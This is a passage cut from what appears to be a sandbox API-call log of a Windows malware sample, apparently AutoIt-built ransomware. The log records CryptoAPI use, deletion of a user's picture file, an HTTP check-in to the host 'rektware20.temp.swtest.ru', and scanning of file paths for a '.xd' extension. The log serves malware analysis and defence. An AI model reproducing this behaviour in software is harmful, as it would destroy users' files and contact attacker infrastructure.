wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.596] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.596] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.596] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.596] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.596] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.596] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.596] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.596] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.596] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0062.596] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.596] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.596] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.596] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.596] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.596] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.596] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.596] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.596] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.596] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.596] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.596] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.596] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.596] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.596] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.597] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.597] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.597] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.597] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0062.597] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0062.597] CryptReleaseContext (hProv=0x17aaab0, dwFlags=0x0) returned 1 [0062.597] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.597] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.597] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.597] FreeLibrary (hLibModule=0x74c60000) returned 1 [0062.597] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.597] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.597] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.597] CloseHandle (hObject=0x3bc) returned 1 [0062.598] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.598] CloseHandle (hObject=0x2ac) returned 1 [0062.626] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.627] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.627] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", lpFilePart=0x0) returned 0x42 [0062.628] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\mb69.bmp")) returned 0x20 [0062.628] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c330 [0062.628] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\mb69.bmp")) returned 1 [0062.630] FindNextFileW (in: hFindFile=0x164c330, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0062.631] FindClose (in: hFindFile=0x164c330 | out: hFindFile=0x164c330) returned 1 [0062.631] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.631] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.631] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.631] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.631] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0062.631] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0062.631] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.631] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0062.632] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.632] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0062.632] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0062.632] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fe8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fe8, lpdwBufferLength=0x130ef8c) returned 1 [0062.632] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.632] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.632] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.644] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0062.645] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0062.645] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0062.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629210, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629210*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0062.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0062.645] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.645] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.645] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.645] CloseHandle (hObject=0x0) returned 0 [0062.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pDjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DjIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jIZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZM\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rj2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WJ4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kFGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FGpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Gpb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pb1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b1UIs.jpg", cchCount1=3, 